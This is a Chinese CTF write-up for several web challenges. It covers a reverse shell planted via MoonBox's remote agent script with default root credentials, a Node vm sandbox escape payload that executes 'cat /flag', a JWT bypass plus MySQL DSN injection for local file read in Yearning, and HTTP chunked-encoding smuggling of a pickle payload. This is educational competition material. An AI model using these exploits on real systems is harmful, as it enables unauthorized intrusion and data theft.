MoonBox
getRemoteAgentStartCommand
通过ps -ef和上面的分析不难发现,运行流量录制实际上是在远程服务器ssh执行了
1 | bash -c 'curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_df0dab78e4bbd2603a1b4e4e45cd0d08%26http%3A%2F%2F127.0.0.1%3A8080%26OFF%26OFF' |
所以替换moonbox里面的start-remote-agent.sh脚本就可以在远程服务器上进行rce。
Dockerfile里给出了root用户默认密码 root:123456,通过docker机器名moonbox-server可以访问内网的docker-moonbox-server容器,刚好这台容器有sshd,有root默认密码,并且有flag。
新建 “.sandbox-module\bin\start-remote-agent.sh” 写#!/bin/sh 反弹shell代码
新建 “sandbox\bin\sandbox.sh” 写 #!/bin/sh (否则dos2unix报错)
给可执行权限
1 | tar -zcf moonbox.tar .sandbox-module |
两个文件一起上传,运行流量录制 hostIp=moonbox-server 22 root 123456即可。
暂时无法在飞书文档外展示此内容
暂时无法在飞书文档外展示此内容
stack_overflow
注意到传入的参数可以是数组
如果args数组长度为1则不受join影响
据此可以闭合 js 代码,逃逸vm沙箱并执行系统命令
1 | {"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //"]} |
返回结果如下
1 | {"stdout":["Starting Conversion...","Your input is:","');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //","0","0","0","0","...","Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"result":["Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"status":["ok"]} |
Doctor
https://yearning.io/
版本3.1.7
https://github.com/cookieY/Yearning/releases
是最新版
默认账号/密码:admin/Yearning_admin
远程不是默认密码,鉴权用的是JWT,远程也设置了secret-key,不是默认的
https://github.com/cookieY/yee/blob/1c392ccd2d7dd7de0aa8964583ea1b2415179804/middleware/jwt.go#L82
如果是websocket请求,那么就直接return,不进行jwt读取。
- HeaderConnection:Connection
- HeaderUpgrade:Upgrade
加上这2个请求头后可以访问任意接口
但是不是所有接口都能正常调用,需要new(lib.Token).JwtParse(c)的接口全都会报错,因为没有赋值c.Get(“auth”)
审计源码可以发现一处接口
在此处发起mysql连接,由于gorm的驱动(底层是 https://github.com/go-sql-driver/mysql )默认是不允许任意local infile的(并且这里不可控host,如果拿到admin,可以新建数据源,就可控了),因此我们需要注入DSN参数来让它开启任意文件读取并且设置host
go-sql-driver/mysql解析dsn是以最后一个/和/左边的最后一个@解析的。 https://github.com/go-sql-driver/mysql/blob/master/dsn.go#L357
1 | GET with body |
最终loadlocalfile就可以读取到flag文件。
d3pythonhttp
这道题的key其实压根没啥
此处我们可以通过修改kid让他获取不到key,导致key默认为空即可。
题目在对于Chunked模式存在解析差异,当我们将chunked改为部分大写的话,此时web.py和Flask会存在解析差异
此时Flask会识别为chunked模式,web.py则不会
Web.py中要求全部是小写,因此到了后端服务获取到的就是根据Content-length截取的数据了,因此让请求头为
Transfer-Encoding: CHunked,然后Content-length关闭自动计算长度,我们手动截取payload(opcode的base64长度)
这样就可以让backend去加载opcode了
加一个恶意的Processer也就是filter进去就行。
1 | import pickle |
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.